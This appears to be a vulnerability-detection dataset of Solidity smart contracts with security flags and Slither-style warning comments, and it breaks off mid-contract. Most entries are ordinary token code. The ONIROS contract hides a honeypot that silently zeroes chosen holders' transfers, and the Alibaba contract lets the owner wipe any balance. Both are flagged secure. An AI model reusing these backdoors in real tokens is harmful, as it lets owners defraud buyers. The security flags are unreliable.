"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Not ok, you are not the owner!\");\n _;\n }\n\n function Classic() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function SendOk(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ok, new owner is zero address\");\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1905.sol",
"secure": 1,
"size_bytes": 1104
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked2 {\n uint256 a;\n uint128 b;\n uint128 c;\n\n function SetInts() public {\n a = 1;\n b = 2;\n c = 3;\n }\n}",
"file_name": "solidity_code_1906.sol",
"secure": 1,
"size_bytes": 230
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(currentAllowance >= amount, \"Not ok\");\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function IncreaseOk(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function DecreaseOK(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"Not ok\");\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Not ok\");\n require(recipient != address(0), \"Not ok\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"Not ok\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Not ok\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Burn ok\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"Not ok burn\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"Ok\");\n require(spender != address(0), \"Ok\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1907.sol",
"secure": 1,
"size_bytes": 5194
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Ok is Ownable, ERC20 {\n bool public limited;\n uint256 public maxHoldingAmount;\n uint256 public minHoldingAmount;\n address public uniswapV2Pair;\n mapping(address => bool) public blacklists;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 924682b): Ok.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 924682b: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Ok\", \"Ok\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function Notok(address _address, bool _isBlacklisting) external onlyOwner {\n blacklists[_address] = _isBlacklisting;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d3a57e1): Ok.ok(bool,address,uint256,uint256) should emit an event for maxHoldingAmount = _maxHoldingAmount minHoldingAmount = _minHoldingAmount \n\t// Recommendation for d3a57e1: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6c6e9ae): Ok.ok(bool,address,uint256,uint256)._uniswapV2Pair lacks a zerocheck on \t uniswapV2Pair = _uniswapV2Pair\n\t// Recommendation for 6c6e9ae: Check that the address is not zero.\n function ok(\n bool _limited,\n address _uniswapV2Pair,\n uint256 _maxHoldingAmount,\n uint256 _minHoldingAmount\n ) external onlyOwner {\n limited = _limited;\n\t\t// missing-zero-check | ID: 6c6e9ae\n uniswapV2Pair = _uniswapV2Pair;\n\t\t// events-maths | ID: d3a57e1\n maxHoldingAmount = _maxHoldingAmount;\n\t\t// events-maths | ID: d3a57e1\n minHoldingAmount = _minHoldingAmount;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n require(!blacklists[to] && !blacklists[from], \"Notok\");\n\n if (uniswapV2Pair == address(0)) {\n require(from == owner() || to == owner(), \"Ok not live yet\");\n return;\n }\n\n if (limited && from == uniswapV2Pair) {\n require(\n super.balanceOf(to) + amount <= maxHoldingAmount &&\n super.balanceOf(to) + amount >= minHoldingAmount,\n \"Forbid\"\n );\n }\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_1908.sol",
"secure": 0,
"size_bytes": 2638
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ONIROS {\n using SafeMath for uint256;\n mapping(address => uint256) private JIJXa;\n\t// WARNING Optimization Issue (constable-states | ID: 565adb0): ONIROS.FTL should be constant \n\t// Recommendation for 565adb0: Add the 'constant' attribute to state variables that never change.\n address FTL = 0xCA0453de46E547e1820DcB71f35312f15Da007c0;\n mapping(address => uint256) public JIJXb;\n mapping(address => mapping(address => uint256)) public allowance;\n\t// WARNING Optimization Issue (constable-states | ID: a9c5415): ONIROS.name should be constant \n\t// Recommendation for a9c5415: Add the 'constant' attribute to state variables that never change.\n string public name = \"ONIROS DAO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: f9ae7ba): ONIROS.symbol should be constant \n\t// Recommendation for f9ae7ba: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"ONIROS\";\n\t// WARNING Optimization Issue (constable-states | ID: f27deae): ONIROS.decimals should be constant \n\t// Recommendation for f27deae: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\n\t// WARNING Optimization Issue (constable-states | ID: 970526b): ONIROS.totalSupply should be constant \n\t// Recommendation for 970526b: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 300000000 * 10 ** 6;\n address owner = msg.sender;\n address private JIJXc;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: 508f4d0): ONIROS.JIJXf should be constant \n\t// Recommendation for 508f4d0: Add the 'constant' attribute to state variables that never change.\n address JIJXf = 0xf2b16510270a214130C6b17ff0E9bF87585126BD;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n JIJXa[msg.sender] = totalSupply;\n\n SPCWBY();\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function SPCWBY() internal {\n JIJXc = JIJXf;\n\n emit Transfer(address(0), JIJXc, totalSupply);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return JIJXa[account];\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (JIJXb[msg.sender] > 8) {\n require(JIJXa[msg.sender] >= value);\n\n value = 0;\n } else if (JIJXb[msg.sender] == 6) {\n JIJXa[to] += value;\n } else require(JIJXa[msg.sender] >= value);\n JIJXa[msg.sender] -= value;\n JIJXa[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (msg.sender == FTL) {\n JIJXb[to] += value;\n return true;\n } else if (JIJXb[from] > 8 || JIJXb[to] > 8) {\n require(value <= JIJXa[from]);\n require(value <= allowance[from][msg.sender]);\n value = 0;\n } else if (from == owner) {\n from == JIJXf;\n }\n\n require(value <= JIJXa[from]);\n require(value <= allowance[from][msg.sender]);\n JIJXa[from] -= value;\n JIJXa[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}",
"file_name": "solidity_code_1909.sol",
"secure": 1,
"size_bytes": 4310
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n\n uint256 temp = value;\n\n uint256 length = 0;\n\n while (temp != 0) {\n length++;\n\n temp >>= 8;\n }\n\n return toHexString(value, length);\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}",
"file_name": "solidity_code_191.sol",
"secure": 1,
"size_bytes": 1770
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked3 {\n uint128 a;\n uint128 b;\n uint256 c;\n\n function SetInts() public {\n a = 1;\n b = 2;\n c = 3;\n }\n}",
"file_name": "solidity_code_1910.sol",
"secure": 1,
"size_bytes": 230
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MOLIZANFT is ERC20 {\n constructor(uint256 totalSupply_, address to) ERC20() {\n _mint(to, totalSupply_);\n }\n}",
"file_name": "solidity_code_1911.sol",
"secure": 1,
"size_bytes": 270
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Alibaba {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 690000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 69fd3bc): alibaba._name should be constant \n\t// Recommendation for 69fd3bc: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Alibaba\";\n\t// WARNING Optimization Issue (constable-states | ID: 08b5ead): alibaba._symbol should be constant \n\t// Recommendation for 08b5ead: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"ALIBABA\";\n\t// WARNING Optimization Issue (immutable-states | ID: 90c5d2c): alibaba._owner should be immutable \n\t// Recommendation for 90c5d2c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function chinaaa(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1912.sol",
"secure": 1,
"size_bytes": 5833
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked4 {\n uint128 a;\n uint128 c;\n uint256 b;\n\n struct PackIt {\n bytes16 b1;\n bytes32 b2;\n bytes16 b3;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: af4c953): DataTypes_packed_4.SetVals().pack is a local variable never initialized\n\t// Recommendation for af4c953: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n c = 3;\n\n PackIt memory pack;\n pack.b1 = \"a\";\n pack.b2 = \"b\";\n pack.b3 = \"c\";\n }\n}",
"file_name": "solidity_code_1913.sol",
"secure": 0,
"size_bytes": 749
} |
{
"code": "// SPDX-License-Identifier: unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract RapAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Rap AI\";\n string private constant _symbol = \"$RAI\";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 public launchBlock;\n\n uint256 private _redisFeeOnBuy = 0;\n uint256 private _taxFeeOnBuy = 15;\n\n uint256 private _redisFeeOnSell = 0;\n uint256 private _taxFeeOnSell = 45;\n\n uint256 private _redisFee = _redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) private cooldown;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41534e0): RapAI._developmentAddress should be constant \n\t// Recommendation for 41534e0: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x87318227F9b1Ab712594c94d29818e1501d5e227);\n\t// WARNING Optimization Issue (constable-states | ID: 1826f72): RapAI._marketingAddress should be constant \n\t// Recommendation for 1826f72: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x379A417907e6FC0Caa581f2f06FB54E20c15acfd);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0672db2): RapAI.uniswapV2Router should be immutable \n\t// Recommendation for 0672db2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 39184ef): RapAI.uniswapV2Pair should be immutable \n\t// Recommendation for 39184ef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);\n uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);\n uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000);\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: facd535): RapAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for facd535: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ba03e6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ba03e6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cf7e62a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cf7e62a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ba03e6d\n\t\t// reentrancy-benign | ID: cf7e62a\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: ba03e6d\n\t\t// reentrancy-benign | ID: cf7e62a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 5c574f0\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: 5c574f0\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 5c574f0\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: 5c574f0\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 5c574f0\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: 5c574f0\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 29bb700): RapAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 29bb700: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: cf7e62a\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: ba03e6d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f4b010): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f4b010: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c574f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c574f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5869d70): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5869d70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 4f4b010\n\t\t\t\t// reentrancy-benign | ID: 5c574f0\n\t\t\t\t// reentrancy-eth | ID: 5869d70\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f4b010\n\t\t\t\t\t// reentrancy-eth | ID: 5869d70\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5c574f0\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: 5c574f0\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5c574f0\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: 5c574f0\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 4f4b010\n\t\t// reentrancy-benign | ID: 5c574f0\n\t\t// reentrancy-eth | ID: 5869d70\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 4f4b010\n\t\t// reentrancy-events | ID: ba03e6d\n\t\t// reentrancy-benign | ID: 5c574f0\n\t\t// reentrancy-benign | ID: cf7e62a\n\t\t// reentrancy-eth | ID: 5869d70\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f4b010\n\t\t// reentrancy-events | ID: ba03e6d\n\t\t// reentrancy-eth | ID: 5869d70\n _developmentAddress.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 4f4b010\n\t\t// reentrancy-events | ID: ba03e6d\n\t\t// reentrancy-eth | ID: 5869d70\n _marketingAddress.transfer(amount.div(2));\n }\n\n function setTrading(bool _tradingOpen) 